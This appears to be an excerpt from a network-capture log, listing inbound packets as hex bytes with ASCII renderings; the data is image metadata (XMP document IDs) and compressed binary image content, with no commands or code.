2022-07-20 13:44:18 UTC	3920	IN	Data Raw: 38 2d 63 64 34 35 2d 34 30 65 32 2d 38 64 36 34 2d 62 63 65 37 63 35 62 66 62 65 65 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 38 33 63 63 35 65 65 2d 36 38 62 39 2d 34 63 37 66 2d 39 31 30 63 2d 65 36 36 33 37 66 32 61 33 61 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 38 34 65 65 37 61 30 2d 33 64 34 39 2d 34 37 39 64 2d 61 31 32 62 2d 39 35 62 63 33 61 66 39 62 63 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 38 36 62 32 64 33 62 2d 32 64 33 36 2d 39 64 34 35 2d 38 39 37 39 2d 61 35 63 34 36 38 61 36 34 64 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 38 38 63 66 62 36 31 2d 61 36 64 31 2d Data Ascii: 8-cd45-40e2-8d64-bce7c5bfbee9</rdf:li> <rdf:li>xmp.did:f83cc5ee-68b9-4c7f-910c-e6637f2a3a23</rdf:li> <rdf:li>xmp.did:f84ee7a0-3d49-479d-a12b-95bc3af9bc5a</rdf:li> <rdf:li>xmp.did:f86b2d3b-2d36-9d45-8979-a5c468a64d80</rdf:li> <rdf:li>xmp.did:f88cfb61-a6d1-
2022-07-20 13:44:18 UTC	3928	IN	Data Raw: ff 00 37 dc 87 50 b3 25 e1 a0 cb 9a 09 03 cb e9 39 49 18 88 ec c0 02 3a ab 22 dd b3 e5 2b 6f 07 09 d9 36 b3 1e a7 37 d3 6e a5 c7 e8 88 fa 76 5b ff 00 06 b3 a9 c5 b5 db ae 6b 0b 9a 39 2b 5f ea fe 0e 57 52 ad d8 f8 cd 86 c1 71 71 76 cd ff 00 f0 5b d2 9c 80 17 7b 2f 88 e2 34 ed f4 ce 93 fa 3b ac de 0d ae 05 b5 10 3e 89 1f c8 b3 f9 7f cd ad 1c 1b 23 13 76 5b fd 47 87 41 91 ff 00 a2 bf 3d ec 54 6c e8 f5 e2 31 ce b1 96 17 35 ad 01 9b 84 6f ff 00 0b 7b ff 00 c2 7d 96 b5 a3 f6 57 e2 d0 c0 c9 f7 6b b8 0f 68 3f f0 ae fa 7b 1e ab 99 78 b6 e3 1e 16 f5 18 ef b8 10 5f b2 a7 c8 f5 01 0d 74 ff 00 a2 da f5 7e 9c 8a 71 58 d6 61 d3 fa 43 21 c1 80 07 06 b7 f9 ec 8b 7f 39 8b 91 c2 cd ca bb 10 e5 ed df b5 ee 6b 1a 0e d6 56 07 d3 f6 7f 85 de f4 1c 9c ec 8b 9a e6 0a dc eb 2c 75 Data Ascii: 7P%9I:"+o67nv[k9+_WRqqv[{/4;>#v[GA=Tl15o{}Wkh?{x_t~qXaC!9kV,u
2022-07-20 13:44:18 UTC	3944	IN	Data Raw: e8 f3 be b1 0c ca ae a6 a3 18 e6 06 e7 4e f9 ff 00 09 5d 7e 9f b2 cf f8 db 16 7b 73 ea c4 c4 73 6e b2 cb 1c 5f 05 80 80 36 7e 6a cb a5 f7 52 d7 d6 d1 b0 91 ee 11 d8 7f 5d 0b 11 af c9 b8 31 81 ce 71 31 a7 fd fd c8 f0 01 e4 be 59 65 2d d7 c7 c4 b3 29 af 74 b8 56 d3 a3 b4 8d 7f d3 2d ce 85 81 57 4e bc 59 92 ef 51 82 7d 37 09 0d 0f fe da b0 cf ab 74 57 51 17 c6 c1 a3 9c 1c 64 db 3f 41 8c ff 00 0b ec fe 47 fc 5a bf 5f 4a a6 e7 fa 6c b1 c2 40 d2 7b 47 b1 bf f1 9f d4 4c 96 50 76 d9 6e 33 ea 14 93 a9 61 e3 75 16 0b 1a 08 73 bd b2 0f d2 20 ff 00 e0 5b 55 17 74 41 49 35 bd c4 e8 67 66 ad 3f bb 5d 9b 9c b6 32 28 66 23 5a c7 3c 6d 68 13 c3 67 fd 27 fd 73 f9 6a 96 43 6a 63 a6 b3 2d b1 a5 c3 76 84 bb fc 27 a9 fd 44 84 88 1a 36 a6 3a f5 6d f4 7c 67 7d 93 6b 0b 9f b2 36 Data Ascii: N]~{ssn_6~jR]1q1Ye-)tV-WNYQ}7tWQd?AGZ_Jl@{GLPvn3aus [UtAI5gf?]2(f#Z<mhg'sjCjc-v'D6:m\|g}k6
2022-07-20 13:44:18 UTC	3960	IN	Data Raw: 00 b6 aa d7 73 4d 42 c6 ce de 1d 3e e8 56 aa 18 f9 6c 0d dc c7 11 c6 be 09 55 15 09 5b 4c e6 d7 73 c7 a6 75 ef 3d d5 a7 01 b8 47 20 0e c8 ce c7 a2 96 ee 7b 63 c0 84 ae 35 06 82 00 71 77 09 12 3a 26 da 99 79 8d aa bd 8c 12 e3 a6 a6 7f e8 fd 05 98 72 85 4d 21 cd d1 c7 99 56 7a 9b 5f 5f ba b2 df 77 86 9d 96 5f a8 4b 4e e8 2d 02 08 27 b9 4f 84 6c 2c 22 db 75 f5 23 94 45 6d 63 6c 69 f1 6c 47 f2 37 35 44 f4 ad ce da d0 3d da 86 f3 b7 fb 48 98 39 41 a3 61 3b 5a 44 12 39 5b 1d 3f 05 f5 d0 4b e0 97 19 dc 4f 23 f7 f7 a2 4f 0e da 26 21 c0 7f 4f b2 82 4b 35 63 b9 04 43 87 f2 52 c7 68 90 1c dd 3f 34 1e 17 46 6a 73 1d c8 7f cb 44 0b 80 bc 43 81 69 ec e1 1a 14 78 ef 75 c6 2d 6b 99 4d 2d 6e f6 7a 84 9d 35 db a7 f6 52 43 b6 b7 56 e1 27 74 f0 42 48 2d a7 ff d0 a8 cc 81 60 Data Ascii: sMB>VlU[Lsu=G {c5qw:&yrM!Vz__w_KN-'Ol,"u#EmclilG75D=H9Aa;ZD9[?KO#O&!OK5cCRh?4FjsDCixu-kM-nz5RCV'tBH-`
2022-07-20 13:44:18 UTC	3968	IN	Data Raw: bf 48 fd 07 eb fc df d2 46 76 23 ae f7 b9 84 0d 26 3b 7f d6 d3 57 a6 ac 92 c9 73 a4 8f f3 87 f2 dc a5 4b 2c d9 2f b3 d4 1e 25 a1 a4 ff 00 98 84 dc 9a e8 78 ae c8 10 00 0e 43 7d d4 da 4b 85 83 43 13 3e df ea a4 86 19 bd 2b 1f 2d a5 ee a4 38 91 32 d1 07 fb 5f cd ef fe da a7 8f d3 6b af f4 61 84 17 73 26 5a 63 f7 7e 9f bd 69 e3 66 b5 ad 0d 71 2e 2d 31 c1 99 ff 00 c8 22 ba e2 f3 0d 11 e3 1c 08 41 54 1c 41 f5 4f 17 25 e6 d6 07 d4 fe 09 69 0d 9f eb 53 fc d2 77 7d 50 ae 65 b6 d9 26 67 41 b4 11 fb ed 6a da 6e 51 69 03 e9 77 22 7b 04 ef ba 5c 7d 43 a0 93 a6 9a 7f e7 28 da 38 47 67 90 ce fa 9a f2 77 02 d0 27 b7 b6 5c 7f e3 3f ea 15 7f d9 2d e9 e0 d1 90 03 c1 32 d0 4f d0 1f c8 7a df ea 36 bf 2d 8d 7d 11 65 06 77 6e 27 b7 f3 6f af 6a e7 f3 fe d4 f2 37 31 ef 05 dc 8d Data Ascii: HFv#&;WsK,/%xC}KC>+-82_kas&Zc~ifq.-1"ATAO%iSw}Pe&gAjnQiw"{\}C(8Ggw'\?-2Oz6-}ewn'oj71
2022-07-20 13:44:18 UTC	3984	IN	Data Raw: b5 bb b7 0e 00 3d ff 00 95 bf f3 14 46 e2 a0 5a 57 d9 7b e9 2d dd 63 09 8d 41 f7 0d bf cb fc c5 58 fd b4 39 80 38 16 1d 03 49 2d 7b a3 f3 98 f5 77 a8 d5 75 8c 35 b2 d0 c7 79 98 88 f7 b7 62 cc b0 ba c6 fe 99 ee 0f 9f 69 6f 73 f9 ce 75 ae 46 3a a2 52 29 2c c8 38 f6 39 ac b1 d6 56 7f 79 ad dc 0f fc 23 1f bd 96 7a 7f be c4 c3 3d a5 a7 dc d6 90 35 20 6c 33 fc 86 7d 05 5d d8 d7 be d1 5d 96 8a 9e 78 73 99 fa 28 fd d7 3f e9 6f 55 ef e9 d7 e8 05 be df 08 31 ff 00 19 b9 ff 00 be a4 11 89 dd 61 2e bd 59 8f 04 10 ed cd 3c ee 03 5f f3 10 af c7 a1 ce 0e 16 ba b7 1e c0 7b 75 59 0e c5 be 99 7d 6e d5 87 71 6c 76 43 1d 4a ed d2 e3 02 7b 70 88 c4 0e c5 16 ea d9 8a e7 b7 4b 0c b7 87 13 ba 3f ac 85 6d 1e b3 03 6e b1 85 fe 23 50 54 71 33 9e c6 c8 24 89 91 3a 39 ae fd ed ff 00 Data Ascii: =FZW{-cAX98I-{wu5ybiosuF:R),89Vy#z=5 l3}]]xs(?oU1a.Y<_{uY}nqlvCJ{pK?mn#PTq3$:9
2022-07-20 13:44:18 UTC	4000	IN	Data Raw: a0 e6 ef d5 ae d1 ff 00 d6 fd 17 d3 b1 8a 75 75 0b 30 44 3a 96 9b c8 db b9 d3 bb f7 6b d9 ee d9 ea 56 ba 31 83 85 d4 e9 f4 aa b1 ac 78 13 ea ea 4b 6c 8d de 97 a7 f4 7f d7 f4 68 4a 5c 28 aa d9 c1 c7 c2 c5 b6 97 b9 ae df 60 20 cb 75 7b 40 fa 2c 7b 3f e1 bf f0 25 66 8c 2c 7b 65 d9 01 d5 b2 07 0e 1f db 65 bf 9f ff 00 a2 93 e4 61 d9 81 90 00 68 7b ac f7 0f 4c c0 e3 67 b3 7b bd 4f 72 86 1d 3e be 4b 68 bc b8 55 59 05 d3 f4 9b b8 7f 32 cb bf d6 b4 ce 2e b6 aa 56 63 ea a2 bf 4a 91 3b 1e 5a cf 11 fc bf 5b fd 0f a5 fc ef e6 7f a3 55 1b d0 ac 16 45 36 35 94 ba 7f 48 f3 20 b9 bf ce 32 96 37 f4 b9 5f a4 f6 50 f5 ab 6e 0e 25 0f 04 39 ef a8 ba 24 91 0e ff 00 46 cf f8 36 6d 55 ec a6 c7 5a 05 23 63 48 1a 0d 40 d7 d9 f4 d1 f7 7b 24 1a 70 31 31 1b 90 f3 55 b6 8a c5 62 46 93 Data Ascii: uu0D:kV1xKlhJ\(` u{@,{?%f,{eeah{Lg{Or>KhUY2.VcJ;Z[UE65H 27_Pn%9$F6mUZ#cH@{$p11UbF
2022-07-20 13:44:18 UTC	4007	IN	Data Raw: e6 a7 70 83 ba e7 45 f9 e2 83 b1 c3 63 8f 79 85 30 e6 64 b0 b8 9d 06 9a 2c 9b b2 3d 46 8d e2 2d 69 d4 1e ea de 13 a9 70 0f a4 ec 78 d1 cd 3c 14 c3 0a 51 66 2d 15 1d 84 12 01 e1 69 17 30 b4 86 fb 5d cc f8 47 e6 aa 19 76 d4 d7 36 18 0b c6 bb 89 e1 41 97 3a d0 4c f3 e3 a9 28 52 d6 77 63 d5 7b a2 01 3a c9 ff 00 c8 a4 aa d9 94 68 30 cd 5a 39 27 ba 48 f0 9f a2 9f ff d3 c9 86 91 27 e9 4a b1 84 c6 35 fb dd ee 68 23 5f 9f ee fe 7a a8 d2 0e 9d 95 dc 2f 6b 5f ae 87 9f 3f e4 aa 72 d9 d3 7a 6b 2b 79 71 69 69 d0 99 25 a1 73 5f 5b 29 f6 d6 75 fa 2e ec 06 b2 ba 9b 18 1c e9 d3 9f 3f 76 8b 9f fa d2 c1 63 18 60 0d ad 77 6f ed 28 71 1f 58 4e 51 e9 2f 9f 6d f7 26 7b 51 0f 21 de 69 3e 2d 3b 18 09 71 ec 16 98 2e 54 86 a8 61 0d df 4f e4 ad df 8b 66 33 bd 3b 9b b5 f1 c1 e4 4f ef Data Ascii: pEcy0d,=F-ipx<Qf-i0]Gv6A:L(Rwc{:h0Z9'H'J5h#_z/k_?rzk+yqii%s_[)u.?vc`wo(qXNQ/m&{Q!i>-;q.TaOf3;O
2022-07-20 13:44:18 UTC	4023	IN	Data Raw: fd 1b 3e 95 96 6f f6 32 b5 6f a7 62 3f 0b 1f ed 0e 71 ae e2 5d 5f d2 80 f6 37 dd ea ee b7 d9 e9 31 ff 00 e8 d5 5e 9b d4 bd 1b 6c ca 7b b6 56 5d 03 5d 5a 63 f4 3b 3f 3b fd 7f 48 ae 3b aa d3 d6 2b ff 00 28 b5 c1 e4 7b 6c 60 f7 39 ac ff 00 b4 f5 57 67 e8 3f eb 89 99 04 8e 9f a2 97 52 9a b2 32 fa 78 66 50 dc e7 fb c8 3a 81 50 fe 6e cb 1d ff 00 09 6f f3 6b 9c a5 fd 43 a8 e4 56 d0 5d ef 21 c1 df 45 b0 c3 f9 d7 ff 00 a4 f6 7a 75 fe 7a bc 73 db ea 38 e3 8b 8d 20 6d ad 8f 74 34 7a 6d 6f e9 32 59 fb bf e8 eb ff 00 b6 d5 7e 97 f5 84 d4 db 1a 1b ac 30 b1 83 56 6e 6b bf 49 fa 3f e4 7f 83 50 c2 32 8d d0 bf fb 94 13 6d 9c af ac 97 64 65 ee 0e 2d 75 64 b8 87 fb d8 f7 01 f4 19 ff 00 18 8b 9b d4 f1 33 c9 b6 dc 79 63 09 87 90 ef d1 d7 f4 2b dd 75 5f bf 67 f8 35 89 6e 3d cf Data Ascii: >o2ob?q]_71^l{V]]Zc;?;H;+({l`9Wg?R2xfP:PnokCV]!Ezuzs8 mt4zmo2Y~0VnkI?P2mde-ud3yc+u_g5n=
2022-07-20 13:44:18 UTC	4039	IN	Data Raw: 25 c1 14 31 d6 71 a3 fb 13 ff 00 50 f5 73 1b 0f 71 2e db 3b 79 f0 5a 2f e8 d6 0a 5d ec fe 56 b1 f4 23 7a 61 c8 06 eb 84 6d e7 9b 6b 99 ad 9c 83 04 70 88 e2 c2 c2 f1 cf 75 7f 2b a4 b9 d0 5c d2 67 f3 a0 ab 43 a2 bf 1c 8a 9a c2 e2 60 bb e0 ef a0 df e4 23 ee 47 ba de 17 33 1d ad b1 8e 71 d3 68 3a 1f ce fd d4 37 56 e2 d1 b4 69 1a 47 fd f9 6b 1e 85 65 63 70 d4 01 24 9e ed 77 d0 4d 4f 4d bc 54 5d b2 60 98 9e 4f f5 50 f7 23 dd 22 2e 4b 2a b1 c6 1d cf 64 99 5d b5 89 3a 10 ba 0b fa 56 d7 bd ce 05 cc 1b 48 23 f9 5f f9 05 79 dd 11 95 b3 41 bd d6 34 90 7f 73 f7 37 3f f7 d3 4e 78 84 f0 8e ef 35 8e 2c 00 48 d0 f8 0f 15 7c 56 76 82 ee 79 2b 43 a7 f4 57 56 4d 86 4b f8 03 81 fc b5 79 dd 3c 1f 7f 01 e7 81 f9 aa 39 67 85 ae 89 88 68 b5 ed ad 8d 6b 4b 5c ed 64 03 ee 01 05 d9 Data Ascii: %1qPsq.;yZ/]V#zamkpu+\gC`#G3qh:7ViGkecp$wMOMT]`OP#".K*d]:VH#_yA4s7?Nx5,H\|Vvy+CWVMKy<9ghkK\d
2022-07-20 13:44:18 UTC	4047	IN	Data Raw: cc d2 5c 03 ad a8 1f a3 f6 cf f4 b5 7f dd a6 7f d7 14 5d 60 ad ac 79 db b4 8d 20 ee fe c3 ff 00 ef 89 ba 6f 57 bb a1 d8 2b bc 9b 70 d8 4b 41 90 fb 68 6f ee 7f dd 8c 4f f8 0f e7 19 fe 0b fd 1a bb 95 d1 aa 7b fe df d1 cb 4b 2c 1b 8d 2d 23 6d 8d ff 00 4d d3 ac fa 3b ff 00 d2 61 bf ff 00 02 56 e1 31 2d 43 4a 51 30 34 5a 66 b6 e4 37 da 00 3d e2 7f e9 31 0a 5f 51 15 db a0 06 01 3c 7f db 88 d5 e5 33 21 90 ed ba 77 68 8f fc ce 9b 3f e0 d4 2e 7f a5 ec 70 96 bb 4f 2f ed fe e2 7a d4 76 62 d8 e7 10 06 e9 ed ba 3f cd 7a 94 d9 5b 81 6c 8b 40 d3 f3 5f ff 00 90 b1 39 79 6e b5 6a 47 e6 13 af f5 69 b7 fe f8 f5 36 5a db 3d cf 3b 87 60 4c 1f e5 6e fe 5a 2a 63 f6 a6 db ee b5 b1 60 d0 b9 a2 03 bf 75 fb 3f 32 c5 0a 83 b7 fa 8d 70 70 3a 19 26 13 d9 5b 2d d7 dd 02 60 9f dd fd d7 Data Ascii: \]`y oW+pKAhoO{K,-#mM;aV1-CJQ04Zf7=1_Q<3!wh?.pO/zvb?z[l@_9ynjGi6Z=;`LnZ*c`u?2pp:&[-`
2022-07-20 13:44:18 UTC	4063	IN	Data Raw: b7 72 4e 8f b3 fe 12 df f4 58 ff 00 e8 eb ff 00 b6 d4 72 72 a9 e8 6c f4 2a 01 f9 44 71 fb bf cb c8 ff 00 d2 08 79 bd 49 9d 38 7d 97 04 ef c8 3f 4e cf a5 b0 ff 00 e8 cb ff 00 f3 d2 ad d3 7a 53 9e 77 3f 57 13 2e 27 5d 7f 94 ae cf 24 39 61 c3 8f d5 97 f4 b2 7e eb 97 0c 59 39 e3 c7 96 e1 cb fe 86 2f f3 bf de ff 00 56 b6 27 4e c8 cc 73 b2 ad 6d 97 3b f3 88 1b bf b1 fc 9f ea 2d 8e 9f 8e cb 08 71 6d 8d 68 1a fb 76 ce be fd 9b bf 90 ae f4 dc 51 53 9c d7 6e 2d 6c 48 07 68 2b 63 ec 2f 0d f5 bd 32 2a 3e e8 de 0f e8 ff 00 ad f4 d6 4e 4c a4 93 7f 6b bb 87 0c 62 05 68 3f 75 a7 6e 15 57 33 f5 76 d8 5e 23 9d 40 69 58 19 0c b3 02 f3 65 0d 7b 6c 1a 39 a5 8e da e1 fe 8e e5 d9 d1 8a 6d 3b 70 58 e6 38 00 e3 2f e5 8a 06 8a 58 48 cd ae c7 5a 35 25 af ed fe 0f f3 93 71 e5 30 36 Data Ascii: rNXrrlDqyI8}?NzSw?W.']$9a~Y9/V'Nsm;-qmhvQSn-lHh+c/2>NLkbh?unW3v^#@iXe{l9m;pX8/XHZ5%q06
2022-07-20 13:44:18 UTC	4079	IN	Data Raw: c4 b4 35 90 48 02 62 7c bf aa df cf 56 b1 ee 66 f7 71 2e d7 4e ff 00 d7 fe 5e c5 9b 73 59 58 1e 93 a4 1f a4 3b b5 4f 0b 1c 3e ea f6 ba 64 1d df c9 44 0e ab e2 ac 8b bd 3a cd 3f 98 d7 fe 27 f3 96 5d ed 61 b2 4f 05 6c 75 2c 2d 83 63 7e 93 88 89 d3 55 97 97 f6 86 1f 46 f6 71 ae 90 7f e9 31 3d 27 76 de 18 c5 0f f4 84 bd a1 a4 c9 9f 73 ff 00 a9 fb 8c 5a d5 bd a0 38 b5 93 51 68 6b da 46 d0 5b ff 00 a5 7f c2 7a 8b 1b 0e 8b f1 b6 df b6 6b 8e 09 db fe bf d8 57 45 99 0e 73 65 da 6e 07 51 01 fb 7d d5 fe 8d 47 21 ab 19 df 75 f2 70 3d 33 5f a7 fa 4a 9c e0 18 ef f0 8e fe ca b3 9d 68 a8 cb cb 4b 88 97 34 7b 7f 3b 6e c6 7f 53 67 d3 43 0f b0 b8 6d 32 1a 4b c3 a2 3e 88 f5 1e c6 33 fd 17 a8 a7 89 8e 73 5c cb 9c d6 bc 93 f9 a7 dd fc 9d ec fd d5 1c 8d 6a 51 e2 51 d7 49 2f f5 Data Ascii: 5Hb\|Vfq.N^sYX;O>dD:?']aOlu,-c~UFq1='vsZ8QhkF[zkWEsenQ}G!up=3_JhK4{;nSgCm2K>3s\jQQI/
2022-07-20 13:44:18 UTC	4087	IN	Data Raw: 34 35 b0 03 40 8f e4 33 f7 9a a9 70 e9 b5 a3 dc 94 e5 4a cd a9 97 b5 ce 7b a2 e6 80 e0 09 d3 6c 7b 99 fd 75 4f 06 f7 30 fe 93 40 de 3e 1f 98 af e7 62 9c fb 1d 66 2b 20 c9 d2 7d dc 7f af e8 d5 76 61 38 ed 69 e3 c0 f0 7f b5 fc 94 e8 8a 14 57 70 c8 4a d2 b3 26 93 05 db 88 1c ed ff 00 bf 2a 39 56 16 dd 71 00 ed 75 6e 13 fd 61 ed 56 1d 43 71 cb c0 e7 40 54 0b 7d 47 17 47 29 c3 43 6c d4 48 68 60 fd 4f fb 5d 42 d7 64 d7 56 e3 f4 5e 1c 5d 1f bd fa 26 bd ab 47 0f a6 f5 0c 20 31 59 49 c8 ae bb 01 65 cd d1 bb 25 af 7f b5 ff 00 a4 fa 7e f4 cc 61 13 23 8f 25 72 a3 b8 01 c8 99 8f 34 f3 95 68 c4 9e ab 58 f2 5a d3 ee 04 c8 82 12 49 96 48 83 c7 c7 84 94 1d 5b 3f a2 ff 00 ff d5 e2 b2 33 2f cb 71 f5 1a c6 40 fa 41 9b 46 d1 fc 9f cf 56 a9 e9 7d 37 22 a1 78 36 cb 40 2f 6e e6 Data Ascii: 45@3pJ{l{uO0@>bf+ }va8iWpJ&*9VqunaVCq@T}GG)ClHh`O]BdV^]&G 1YIe%~a#%r4hXZIH[?3/q@AFV}7"x6@/n
2022-07-20 13:44:18 UTC	4103	IN	Data Raw: 9e db 4a 06 64 ee 99 4f b3 9a c7 5a c0 2b af dc 49 83 fe ae fc f5 2c 9a ea b3 77 aa d2 74 1c 0f 72 d1 14 b4 1d 40 d4 fc bf ae 93 f0 4d cd f4 9b ed 24 f3 cf b7 f7 7f b4 87 16 ab 38 89 6a e4 e2 d1 e8 b2 97 36 1c 19 a3 86 84 a0 bb 06 96 3b 7b 65 ae 03 99 ec d5 6e fa 9b 61 07 88 e3 54 e2 82 e3 b8 72 4c 6b e4 88 34 8e 22 d0 3d 35 9e f6 b9 db d8 62 0f 8b 9d fa 47 d8 8c dc 77 62 b6 b1 5c c9 23 fc df a3 6b 94 c3 65 e1 a3 43 06 47 c0 2b 45 ce 70 6b 1c e8 68 ef e0 9c 64 55 c6 5a 98 f6 3d a1 cf 8f a5 a1 fe 4f ee a9 b3 a6 35 b6 b2 c6 92 1a 0f 1f 1f ce 47 da 40 f6 fd 17 3f 4f ec 94 9e f7 b5 ae 1d c1 20 4f fe 7b fe c2 1c 47 a2 78 d1 e4 e1 d3 b8 b1 83 bb 84 fe e1 77 e7 b1 16 ea 99 a4 6b 15 8d 7c 48 fd 1b 50 b2 1e 48 9e e6 09 3e 3f bc 9a 0b 88 99 01 c3 ef 84 2c a3 8c a7 Data Ascii: JdOZ+I,wtr@M$8j6;{enaTrLk4"=5bGwb\#keCG+EpkhdUZ=O5G@?O O{Gxwk\|HPH>?,
2022-07-20 13:44:18 UTC	4119	IN	Data Raw: 39 ff 00 35 18 e5 11 14 42 d3 27 9f bb a9 5c 4b 6b 91 e9 c1 f6 b6 76 ea aa e3 f4 f3 92 e8 a0 17 fe 51 fd 65 d6 62 f4 da 5b 6c 86 35 fb 81 6f bb 8f ec fe e5 88 d5 d9 e8 07 9a 2b 6b 2d 6f b8 b8 43 5d b7 fd 1f bf f3 1a 87 be 22 2a 21 40 bc bd bd 0f 27 15 ae 75 95 b8 34 38 34 9f cd dd 3b 7d 8e fc f5 23 d2 72 cd ad ae ba ac 06 76 80 5a 43 77 7e 6f bb e8 7b d7 49 8f 9b 96 5a 5f 98 76 02 01 0c 78 8e 4f e7 6c fa 1f c8 57 ad ce 6f da 2a aa f7 bd ad 63 7d e0 18 60 b0 8d d4 6f d9 ef f4 da ff 00 e7 13 7e f1 3d aa 24 f8 26 dc cc 3e 9b 91 4d 8d 97 ec 63 5c d2 e0 d6 fe 7f e7 b3 63 7d fe 9d 4f 4f 4e 03 30 ee 7d f8 ef 7d 84 b8 92 d8 3b 83 4f f8 7a 7f c2 6f aa cf f0 ca e3 6d a5 b4 1a aa 71 b8 3b 57 b7 69 2e 63 dc 7d ef f5 29 df 6f a7 67 fa ec 40 b9 d6 3e e6 b6 c7 30 43 a3 Data Ascii: 95B'\KkvQeb[l5o+k-oC]"!@'u484;}#rvZCw~o{IZ_vxOlWoc}`o~=$&>Mc\c}OON0}};Ozomq;Wi.c})og@>0C
2022-07-20 13:44:18 UTC	4127	IN	Data Raw: 96 92 a0 46 4b 5c dd 35 7a b9 63 8b 9b af d2 ee 81 2d 36 80 d9 d0 9f bc 84 48 02 4c e9 db c8 a6 48 51 45 da ee 0d 7b 76 8e de 25 49 cd 15 37 63 1d b9 83 dd f0 2a 0d 26 40 3c 8e 51 9f 60 0d dd a1 27 82 06 a6 3f 7d a8 29 1b 1c e6 1d 04 13 30 92 7a dc 4b 5c e9 88 13 3e 29 24 87 ff d7 a2 fd f8 d7 b1 cc 32 1b 2d 74 6b bb 4f dc 54 aa c9 b2 c2 5b 3b ab 06 4f 72 cf ea 35 df cd fa af f6 58 b4 2f c8 b0 bc 64 35 a2 c7 10 1a 1a dd 63 fe 05 8d 62 0f a6 09 1f 67 a5 cf 75 92 d7 b0 1f cc 6f e9 3f c2 6c fe 69 66 c7 6d 58 9b 37 db 90 ca 1a da 20 3f 6b 75 03 59 fc ef 4f fd 1a aa da 72 9e 03 9e 1b 5d 55 90 60 0d 43 7f 3b da c7 59 ef 7f f8 44 27 b0 3a d6 63 d6 f0 ec 76 8d 1c 41 ff 00 a2 df e7 59 6f e6 2d 07 63 3b 21 c4 d0 61 ac 12 e2 7d ad 1f f0 6e 77 fa 47 b7 e9 a5 f2 a5 6f Data Ascii: FK\5zc-6HLHQE{v%I7c*&@<Q`'?})0zK\>)$2-tkOT[;Or5X/d5cbguo?lifmX7 ?kuYOr]U`C;YD':cvAYo-c;!a}nwGo
2022-07-20 13:44:18 UTC	4143	IN	Data Raw: e4 85 2e 12 09 da 07 70 b9 8c e0 d6 e7 86 30 00 dd f1 03 fa ab a4 05 73 b9 8e 03 aa b7 8d a1 e3 8f ea b9 3f 16 e7 c9 8f 29 d0 79 bd 4e 1b e1 ad 61 1d f5 5a 14 da 25 e0 76 b1 bf 8b 56 3d 77 86 56 d3 df 78 1f f5 28 b7 e6 8a f2 2d 68 d4 97 d6 7e 50 a4 e2 62 e1 76 b1 e8 16 d0 cd 1b a9 74 12 7c de a4 31 2a 63 88 7b 2b 77 b6 7e 94 f1 fd 64 d8 4e 69 c6 64 96 c1 dd 33 da 4b 91 db e9 d6 e0 07 a7 a8 27 5f 00 aa c8 d9 2d 81 b0 43 66 2c d6 5d b2 01 03 40 f3 1b 3f 3d 10 43 9d ec 04 1d 26 5d f9 bf 9a a4 da bd 56 b9 e3 68 f5 03 4c 0f cd 00 7f 37 fd a5 27 6d 71 db 0d 69 80 47 87 29 8b 82 37 56 c7 97 08 71 2d 22 61 c7 bf f3 7f 45 4d f5 9a 9c cd cd 71 d7 5d 7b fd 1a fe 92 0b 9b 40 2e 16 86 92 4e e9 d4 7d 2f cc fe c2 3f a2 5a 5b f4 76 36 64 6b ee dd f4 37 6f ff 00 46 9d 4a Data Ascii: .p0s?)yNaZ%vV=wVx(-h~Pbvt\|1*c{+w~dNid3K'_-Cf,]@?=C&]VhL7'mqiG)7Vq-"aEMq]{@.N}/?Z[v6dk7oFJ
2022-07-20 13:44:18 UTC	4159	IN	Data Raw: aa 99 95 fa 40 bc 9e 3f 37 e2 8d a9 9b 06 a5 ae d4 38 f1 c6 b0 9a ba 49 25 c0 ee 3a 88 8e 10 cc b1 ad 61 d4 99 97 0e 75 53 63 9c 08 6b b4 76 b1 f2 41 4b 3d 86 b7 31 93 a4 6a 00 d3 ff 00 3a 53 76 f7 03 f9 87 9e 13 3d d0 60 cb 4b 86 a6 27 84 ce 60 0d 00 12 e6 91 1e 69 21 9d 75 be a3 0d 82 f3 f7 26 60 71 69 00 4c 11 21 3b 6c 69 03 71 da e0 22 4f 1b a1 08 dd e9 82 2a d4 93 db c5 2b 52 66 d9 bd e5 ee 13 a6 9a c4 28 08 b1 de a9 d2 4a 85 b6 16 b5 c2 23 48 f2 fe 5a 93 2b 70 a1 8d 9e 01 3f f9 24 6d 4c 8c 5b 0d 80 d3 e5 dd 31 2e 69 0d 89 d6 47 91 05 05 ae 20 87 1e d3 1f 7a 95 63 71 00 19 d2 35 3a 7e fa 16 a4 e6 d6 87 cb 64 93 f9 54 dd 0e da f9 93 c7 c9 57 35 dc d6 c5 71 e6 42 25 ae 73 98 e7 1d 19 10 67 99 46 ca 94 f7 b4 6a 41 d7 41 ae 9f ca 4c da b5 92 76 f8 7f ea Data Ascii: @?78I%:auSckvAK=1j:Sv=`K'`i!u&`qiL!;liq"O*+Rf(J#HZ+p?$mL[1.iG zcq5:~dTW5qB%sgFjAALv
2022-07-20 13:44:18 UTC	4166	IN	Data Raw: d5 c2 49 fb d3 5b 68 9a 8c 71 32 52 18 e5 d9 16 c8 da 5a d7 39 c7 90 7f f5 1a 25 56 6c 2c df f4 4c 3a 3f ef ca 86 6b c9 20 c0 e4 9f 28 1e ef fb e2 2b 2e 2c 6b 5b 1e eb 38 9e df b8 a6 e1 d1 6d ea db b5 a6 d7 fa 4f 33 0d dc 4f 72 3f 73 fe 31 11 8e de e7 b8 cb 66 04 0f 1f cd 6a cc 7e 51 0e 35 8e e0 83 e7 fb c8 94 d9 b7 6b 4b b6 82 0e a3 98 9d a9 a6 16 35 4f 13 6d d7 3e ab 4d 44 00 e6 68 63 81 fc a5 2c 6b 41 2d af 49 dd 33 df dd ff 00 92 59 96 d9 58 7f 78 23 43 e6 3e 8e e4 cc b8 87 47 07 69 27 c6 3f f3 94 b8 3b 23 89 dd c7 b5 af 79 16 ba 25 c7 e4 54 8e 48 73 43 80 e4 86 ba 3c 96 3d 17 12 1c 7c 06 93 e4 76 7f d4 23 55 99 e9 b6 c0 de fb 63 fe a2 c4 c2 0a f1 37 55 b7 fa 6d 0d e0 89 d7 e2 52 b2 fd d5 ba 34 79 fa 43 c4 7e 6f f5 96 53 b3 0e ed 75 8e dd 94 ac c8 